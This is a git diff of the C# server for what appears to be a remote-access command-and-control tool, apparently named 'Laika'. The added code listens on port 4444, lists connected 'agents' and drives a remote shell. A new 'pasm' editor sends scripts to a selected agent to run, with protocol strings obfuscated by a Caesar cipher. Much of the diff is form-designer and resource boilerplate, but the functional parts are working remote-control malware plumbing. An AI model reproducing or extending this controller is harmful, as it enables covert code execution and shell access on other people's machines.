localip = Dns.GetHostEntry(Dns.GetHostName()).AddressList.FirstOrDefault(ip => ip.AddressFamily == System.Net.Sockets.AddressFamily.InterNetwork).ToString();
localport = 4444;
server = new TcpListener(System.Net.IPAddress.Parse(localip), localport);
server.Start();
}
public static void ServerStop()
@@ -48,7 +51,7 @@ namespace Server
{
continue;
}
client.Client.Blocking = false;
client.Client.Blocking = true;
for (int i = 0; i < dataGridView1.Rows.Count; i++)
{
if (dataGridView1.Rows[i].Cells[1].Value.ToString() == client.Client.RemoteEndPoint.ToString().Split(':')[0])
@@ -133,6 +136,7 @@ namespace Server
private void Form1_Load(object sender, EventArgs e)
{
dataGridView1.ClearSelection();
label1.Text = "Listening at " + localip + ":" + localport.ToString();
}
private void toolStripMenuItem1_Click(object sender, EventArgs e)
@@ -227,8 +231,18 @@ namespace Server
{
MessageBox.Show("Client timed out.");
}
}
c.Client.Blocking = false;
private void editorToolStripMenuItem_Click(object sender, EventArgs e)
{
PasmEditor pasm = new PasmEditor(false);
pasm.Show(this);
}
private void executePasmScriptToolStripMenuItem_Click(object sender, EventArgs e)
{
PasmEditor pasm = new PasmEditor(true);
pasm.Show(this);
}
}
}

193
Server/PasmEditor.Designer.cs generated Normal file
View File

@@ -0,0 +1,193 @@
namespace Server
{
partial class PasmEditor
{
/// <summary>
/// Required designer variable.
/// </summary>
private System.ComponentModel.IContainer components = null;
/// <summary>
/// Clean up any resources being used.
/// </summary>
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
protected override void Dispose(bool disposing)
{
if (disposing && (components != null))
{
components.Dispose();
}
base.Dispose(disposing);
}
#region Windows Form Designer generated code
/// <summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
private void InitializeComponent()
{
this.menuStrip1 = new System.Windows.Forms.MenuStrip();
this.fileToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.newCTRLNToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.openToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.saveToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.saveAsCTRLMajSToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.closeCTRLToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.codeToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.executeToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.richTextBox1 = new System.Windows.Forms.RichTextBox();
this.textBox1 = new System.Windows.Forms.TextBox();
this.splitter1 = new System.Windows.Forms.Splitter();
this.menuStrip1.SuspendLayout();
this.SuspendLayout();
//
// menuStrip1
//
this.menuStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.fileToolStripMenuItem,
this.codeToolStripMenuItem});
this.menuStrip1.Location = new System.Drawing.Point(0, 0);
this.menuStrip1.Name = "menuStrip1";
this.menuStrip1.Size = new System.Drawing.Size(800, 24);
this.menuStrip1.TabIndex = 0;
this.menuStrip1.Text = "menuStrip1";
//
// fileToolStripMenuItem
//
this.fileToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.newCTRLNToolStripMenuItem,
this.openToolStripMenuItem,
this.saveToolStripMenuItem,
this.saveAsCTRLMajSToolStripMenuItem,
this.closeCTRLToolStripMenuItem});
this.fileToolStripMenuItem.Name = "fileToolStripMenuItem";
this.fileToolStripMenuItem.Size = new System.Drawing.Size(37, 20);
this.fileToolStripMenuItem.Text = "File";
//
// newCTRLNToolStripMenuItem
//
this.newCTRLNToolStripMenuItem.Name = "newCTRLNToolStripMenuItem";
this.newCTRLNToolStripMenuItem.ShortcutKeys = ((System.Windows.Forms.Keys)((System.Windows.Forms.Keys.Control | System.Windows.Forms.Keys.N)));
this.newCTRLNToolStripMenuItem.Size = new System.Drawing.Size(180, 22);
this.newCTRLNToolStripMenuItem.Text = "New";
this.newCTRLNToolStripMenuItem.Click += new System.EventHandler(this.newCTRLNToolStripMenuItem_Click);
//
// openToolStripMenuItem
//
this.openToolStripMenuItem.Name = "openToolStripMenuItem";
this.openToolStripMenuItem.ShortcutKeys = ((System.Windows.Forms.Keys)((System.Windows.Forms.Keys.Control | System.Windows.Forms.Keys.O)));
this.openToolStripMenuItem.Size = new System.Drawing.Size(180, 22);
this.openToolStripMenuItem.Text = "Open";
this.openToolStripMenuItem.Click += new System.EventHandler(this.openToolStripMenuItem_Click);
//
// saveToolStripMenuItem
//
this.saveToolStripMenuItem.Name = "saveToolStripMenuItem";
this.saveToolStripMenuItem.ShortcutKeys = ((System.Windows.Forms.Keys)((System.Windows.Forms.Keys.Control | System.Windows.Forms.Keys.S)));
this.saveToolStripMenuItem.Size = new System.Drawing.Size(180, 22);
this.saveToolStripMenuItem.Text = "Save";
this.saveToolStripMenuItem.Click += new System.EventHandler(this.saveToolStripMenuItem_Click);
//
// saveAsCTRLMajSToolStripMenuItem
//
this.saveAsCTRLMajSToolStripMenuItem.Name = "saveAsCTRLMajSToolStripMenuItem";
this.saveAsCTRLMajSToolStripMenuItem.ShortcutKeys = ((System.Windows.Forms.Keys)(((System.Windows.Forms.Keys.Control | System.Windows.Forms.Keys.Shift)
| System.Windows.Forms.Keys.S)));
this.saveAsCTRLMajSToolStripMenuItem.Size = new System.Drawing.Size(180, 22);
this.saveAsCTRLMajSToolStripMenuItem.Text = "Save as";
this.saveAsCTRLMajSToolStripMenuItem.Click += new System.EventHandler(this.saveAsCTRLMajSToolStripMenuItem_Click);
//
// closeCTRLToolStripMenuItem
//
this.closeCTRLToolStripMenuItem.Name = "closeCTRLToolStripMenuItem";
this.closeCTRLToolStripMenuItem.ShortcutKeys = ((System.Windows.Forms.Keys)((System.Windows.Forms.Keys.Control | System.Windows.Forms.Keys.W)));
this.closeCTRLToolStripMenuItem.Size = new System.Drawing.Size(180, 22);
this.closeCTRLToolStripMenuItem.Text = "Close";
this.closeCTRLToolStripMenuItem.Click += new System.EventHandler(this.closeCTRLToolStripMenuItem_Click);
//
// codeToolStripMenuItem
//
this.codeToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.executeToolStripMenuItem});
this.codeToolStripMenuItem.Name = "codeToolStripMenuItem";
this.codeToolStripMenuItem.Size = new System.Drawing.Size(47, 20);
this.codeToolStripMenuItem.Text = "Code";
//
// executeToolStripMenuItem
//
this.executeToolStripMenuItem.Name = "executeToolStripMenuItem";
this.executeToolStripMenuItem.Size = new System.Drawing.Size(115, 22);
this.executeToolStripMenuItem.Text = "Execute";
this.executeToolStripMenuItem.Click += new System.EventHandler(this.executeToolStripMenuItem_Click);
//
// richTextBox1
//
this.richTextBox1.AcceptsTab = true;
this.richTextBox1.Dock = System.Windows.Forms.DockStyle.Top;
this.richTextBox1.EnableAutoDragDrop = true;
this.richTextBox1.Font = new System.Drawing.Font("Microsoft Sans Serif", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.richTextBox1.Location = new System.Drawing.Point(0, 24);
this.richTextBox1.Name = "richTextBox1";
this.richTextBox1.Size = new System.Drawing.Size(800, 370);
this.richTextBox1.TabIndex = 1;
this.richTextBox1.Text = "";
this.richTextBox1.TextChanged += new System.EventHandler(this.richTextBox1_TextChanged);
//
// textBox1
//
this.textBox1.Dock = System.Windows.Forms.DockStyle.Fill;
this.textBox1.Location = new System.Drawing.Point(0, 394);
this.textBox1.Multiline = true;
this.textBox1.Name = "textBox1";
this.textBox1.ReadOnly = true;
this.textBox1.ScrollBars = System.Windows.Forms.ScrollBars.Vertical;
this.textBox1.Size = new System.Drawing.Size(800, 56);
this.textBox1.TabIndex = 2;
//
// splitter1
//
this.splitter1.BackColor = System.Drawing.SystemColors.ScrollBar;
this.splitter1.Dock = System.Windows.Forms.DockStyle.Top;
this.splitter1.Location = new System.Drawing.Point(0, 394);
this.splitter1.Name = "splitter1";
this.splitter1.Size = new System.Drawing.Size(800, 5);
this.splitter1.TabIndex = 3;
this.splitter1.TabStop = false;
//
// PasmEditor
//
this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.ClientSize = new System.Drawing.Size(800, 450);
this.Controls.Add(this.splitter1);
this.Controls.Add(this.textBox1);
this.Controls.Add(this.richTextBox1);
this.Controls.Add(this.menuStrip1);
this.MainMenuStrip = this.menuStrip1;
this.Name = "PasmEditor";
this.Text = "pasm editor - New File";
this.menuStrip1.ResumeLayout(false);
this.menuStrip1.PerformLayout();
this.ResumeLayout(false);
this.PerformLayout();
}
#endregion
private System.Windows.Forms.MenuStrip menuStrip1;
private System.Windows.Forms.ToolStripMenuItem fileToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem openToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem saveToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem saveAsCTRLMajSToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem newCTRLNToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem closeCTRLToolStripMenuItem;
private System.Windows.Forms.RichTextBox richTextBox1;
private System.Windows.Forms.TextBox textBox1;
private System.Windows.Forms.Splitter splitter1;
private System.Windows.Forms.ToolStripMenuItem codeToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem executeToolStripMenuItem;
}
}

189
Server/PasmEditor.cs Normal file
View File

@@ -0,0 +1,189 @@
using System;
using System.IO;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Net.Sockets;
using System.Threading;
using static System.Windows.Forms.VisualStyles.VisualStyleElement;
using System.Runtime.InteropServices;
using System.Text.RegularExpressions;
using System.Xml;
namespace Server
{
public partial class PasmEditor : Form
{
private static string filepath = "";
private static bool is_executing = false;
public PasmEditor(bool is_from_right_click)
{
InitializeComponent();
executeToolStripMenuItem.Enabled = is_from_right_click;
richTextBox1.DragDrop += new DragEventHandler(richTextBox1_DragDrop);
}
private void newCTRLNToolStripMenuItem_Click(object sender, EventArgs e)
{
richTextBox1.Text = "";
filepath = "";
this.Text = "pasm editor - New File";
}
private void openToolStripMenuItem_Click(object sender, EventArgs e)
{
OpenFileDialog openFileDialog = new OpenFileDialog
{
Filter = "PASM source files (*.pasm)|*.pasm",
Title = "Select your PASM source code file."
};
if (openFileDialog.ShowDialog() != DialogResult.OK)
return;
string filePath = openFileDialog.FileName;
if (filePath == null) return;
richTextBox1.LoadFile(filePath, RichTextBoxStreamType.PlainText);
filepath = filePath;
this.Text = "pasm editor - " + Path.GetFileName(filePath);
}
private void saveToolStripMenuItem_Click(object sender, EventArgs e)
{
if (filepath == "")
{
saveAsCTRLMajSToolStripMenuItem_Click(sender, e);
return;
}
richTextBox1.SaveFile(filepath, RichTextBoxStreamType.PlainText);
}
private void saveAsCTRLMajSToolStripMenuItem_Click(object sender, EventArgs e)
{
SaveFileDialog saveFileDialog = new SaveFileDialog
{
Filter = "PASM source files (*.pasm)|*.pasm",
Title = "Save as"
};
if (saveFileDialog.ShowDialog() != DialogResult.OK)
return;
string filePath = saveFileDialog.FileName;
if (filePath == null) return;
richTextBox1.SaveFile(filePath, RichTextBoxStreamType.PlainText);
filepath = filePath;
}
private void closeCTRLToolStripMenuItem_Click(object sender, EventArgs e)
{
richTextBox1.Text = "";
filepath = "";
this.Text = "pasm editor - New File";
}
void richTextBox1_DragDrop(object sender, DragEventArgs e)
{
object filename = e.Data.GetData("FileDrop");
if (filename != null)
{
var list = filename as string[];
if (list != null && !string.IsNullOrWhiteSpace(list[0]))
{
richTextBox1.Clear();
richTextBox1.LoadFile(list[0], RichTextBoxStreamType.PlainText);
filepath = list[0];
this.Text = "pasm editor - " + Path.GetFileName(filepath);
}
}
e.Effect = DragDropEffects.None;
}
private void execute_script()
{
is_executing = true;
TcpClient c = Server.Menu.CONNECT_CLIENTS[Server.Menu.CLIENT_ID];
c.ReceiveTimeout = 10000;
c.Client.Blocking = true;
try
{
NetworkStream stream = c.GetStream();
byte[] Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR("pasm"));
stream.Write(Message, 0, Message.Length);
string fileContent = File.ReadAllText(filepath);
byte[] fileContentBytes = Encoding.UTF8.GetBytes(fileContent);
stream.Write(fileContentBytes, 0, fileContentBytes.Length);
byte[] buffer = new byte[2048];
int bytesRead;
textBox1.Text += "\r\n\r\nLaika: script sent\r\n\r\n";
while (true)
{
bytesRead = stream.Read(buffer, 0, buffer.Length);
string receivedData = System.Text.Encoding.UTF8.GetString(buffer, 0, bytesRead);
if (receivedData == "fail")
{
textBox1.Text += "Agent failed to execute the script due to an unknown error.\n";
textBox1.SelectionStart = textBox1.TextLength;
textBox1.ScrollToCaret();
break;
}
textBox1.Text += receivedData.Replace(Utils.CAESAR("Laika: end of script"), "").Replace("\n", "\r\n");
if (receivedData.Contains(Utils.CAESAR("Laika: end of script")))
{
textBox1.Text += "\r\n\r\nLaika: end of script\r\n\r\n";
textBox1.SelectionStart = textBox1.TextLength;
textBox1.ScrollToCaret();
break;
}
textBox1.SelectionStart = textBox1.TextLength;
textBox1.ScrollToCaret();
this.Update();
}
}
catch
{
MessageBox.Show("Client timed out.");
}
is_executing = false;
executeToolStripMenuItem.Enabled = true;
}
private void executeToolStripMenuItem_Click(object sender, EventArgs e)
{
if (is_executing)
return;
Thread t = new Thread(execute_script);
t.Start();
executeToolStripMenuItem.Enabled = false;
}
private void richTextBox1_TextChanged(object sender, EventArgs e)
{
if (!this.Text.Contains("*"))
{
this.Text += "*";
}
}
}
}

123
Server/PasmEditor.resx Normal file
View File

@@ -0,0 +1,123 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<metadata name="menuStrip1.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
<value>17, 17</value>
</metadata>
</root>

View File

@@ -105,7 +105,6 @@ namespace Server
finally
{
ClearSocketData(c);
c.Client.Blocking = false;
if (shell != null)
{
shell.Close();
@@ -123,7 +122,6 @@ namespace Server
byte[] message = Encoding.UTF8.GetBytes(Utils.CAESAR("exit\n"));
stream.Write(message, 0, message.Length);
ClearSocketData(c);
c.Client.Blocking = false;
}
catch { }
OPENED = false;

View File

@@ -120,6 +120,16 @@ namespace Server.Properties {
}
}
/// <summary>
/// Recherche une ressource localisée de type System.Drawing.Bitmap.
/// </summary>
internal static System.Drawing.Bitmap scenario {
get {
object obj = ResourceManager.GetObject("scenario", resourceCulture);
return ((System.Drawing.Bitmap)(obj));
}
}
/// <summary>
/// Recherche une ressource localisée de type System.Drawing.Bitmap.
/// </summary>

View File

@@ -118,8 +118,8 @@
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<assembly alias="System.Windows.Forms" name="System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" />
<data name="file" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\file.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
<data name="up_arrow" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\up_arrow.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
<data name="terminal" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\terminal.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
@@ -136,13 +136,16 @@
<data name="folder" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\folder.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
<data name="download" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\download.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
<data name="upload" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\upload.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
<data name="up_arrow" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\up_arrow.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
<data name="download" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\download.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
<data name="file" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\file.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
<data name="scenario" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\scenario.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
</root>

Binary file not shown.

After

Width:  |  Height:  |  Size: 12 KiB

View File

@@ -33,8 +33,36 @@
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<ItemGroup>
<Reference Include="Microsoft.Bcl.AsyncInterfaces, Version=8.0.0.0, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51, processorArchitecture=MSIL">
<HintPath>..\packages\Microsoft.Bcl.AsyncInterfaces.8.0.0\lib\net462\Microsoft.Bcl.AsyncInterfaces.dll</HintPath>
</Reference>
<Reference Include="System" />
<Reference Include="System.Buffers, Version=4.0.3.0, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51, processorArchitecture=MSIL">
<HintPath>..\packages\System.Buffers.4.5.1\lib\net461\System.Buffers.dll</HintPath>
</Reference>
<Reference Include="System.Core" />
<Reference Include="System.Memory, Version=4.0.1.2, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51, processorArchitecture=MSIL">
<HintPath>..\packages\System.Memory.4.5.5\lib\net461\System.Memory.dll</HintPath>
</Reference>
<Reference Include="System.Numerics" />
<Reference Include="System.Numerics.Vectors, Version=4.1.4.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL">
<HintPath>..\packages\System.Numerics.Vectors.4.5.0\lib\net46\System.Numerics.Vectors.dll</HintPath>
</Reference>
<Reference Include="System.Runtime.CompilerServices.Unsafe, Version=6.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL">
<HintPath>..\packages\System.Runtime.CompilerServices.Unsafe.6.0.0\lib\net461\System.Runtime.CompilerServices.Unsafe.dll</HintPath>
</Reference>
<Reference Include="System.Text.Encodings.Web, Version=8.0.0.0, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51, processorArchitecture=MSIL">
<HintPath>..\packages\System.Text.Encodings.Web.8.0.0\lib\net462\System.Text.Encodings.Web.dll</HintPath>
</Reference>
<Reference Include="System.Text.Json, Version=8.0.0.4, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51, processorArchitecture=MSIL">
<HintPath>..\packages\System.Text.Json.8.0.4\lib\net462\System.Text.Json.dll</HintPath>
</Reference>
<Reference Include="System.Threading.Tasks.Extensions, Version=4.2.0.1, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51, processorArchitecture=MSIL">
<HintPath>..\packages\System.Threading.Tasks.Extensions.4.5.4\lib\net461\System.Threading.Tasks.Extensions.dll</HintPath>
</Reference>
<Reference Include="System.ValueTuple, Version=4.0.3.0, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51, processorArchitecture=MSIL">
<HintPath>..\packages\System.ValueTuple.4.5.0\lib\net47\System.ValueTuple.dll</HintPath>
</Reference>
<Reference Include="System.Xml.Linq" />
<Reference Include="System.Data.DataSetExtensions" />
<Reference Include="Microsoft.CSharp" />
@@ -64,6 +92,12 @@
<Compile Include="Menu.Designer.cs">
<DependentUpon>Menu.cs</DependentUpon>
</Compile>
<Compile Include="PasmEditor.cs">
<SubType>Form</SubType>
</Compile>
<Compile Include="PasmEditor.Designer.cs">
<DependentUpon>PasmEditor.cs</DependentUpon>
</Compile>
<Compile Include="Program.cs" />
<Compile Include="Properties\AssemblyInfo.cs" />
<EmbeddedResource Include="BuildMenu.resx">
@@ -75,6 +109,9 @@
<EmbeddedResource Include="Menu.resx">
<DependentUpon>Menu.cs</DependentUpon>
</EmbeddedResource>
<EmbeddedResource Include="PasmEditor.resx">
<DependentUpon>PasmEditor.cs</DependentUpon>
</EmbeddedResource>
<EmbeddedResource Include="Properties\Resources.resx">
<Generator>ResXFileCodeGenerator</Generator>
<LastGenOutput>Resources.Designer.cs</LastGenOutput>
@@ -85,6 +122,7 @@
<DependentUpon>Resources.resx</DependentUpon>
<DesignTime>True</DesignTime>
</Compile>
<None Include="packages.config" />
<None Include="Properties\Settings.settings">
<Generator>SettingsSingleFileGenerator</Generator>
<LastGenOutput>Settings.Designer.cs</LastGenOutput>
@@ -125,5 +163,8 @@
<ItemGroup>
<None Include="Resources\up_arrow.png" />
</ItemGroup>
<ItemGroup>
<None Include="Resources\scenario.png" />
</ItemGroup>
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
</Project>

12
Server/packages.config Normal file
View File

@@ -0,0 +1,12 @@
<?xml version="1.0" encoding="utf-8"?>
<packages>
<package id="Microsoft.Bcl.AsyncInterfaces" version="8.0.0" targetFramework="net48" />
<package id="System.Buffers" version="4.5.1" targetFramework="net48" />
<package id="System.Memory" version="4.5.5" targetFramework="net48" />
<package id="System.Numerics.Vectors" version="4.5.0" targetFramework="net48" />
<package id="System.Runtime.CompilerServices.Unsafe" version="6.0.0" targetFramework="net48" />
<package id="System.Text.Encodings.Web" version="8.0.0" targetFramework="net48" />
<package id="System.Text.Json" version="8.0.4" targetFramework="net48" />
<package id="System.Threading.Tasks.Extensions" version="4.5.4" targetFramework="net48" />
<package id="System.ValueTuple" version="4.5.0" targetFramework="net48" />
</packages>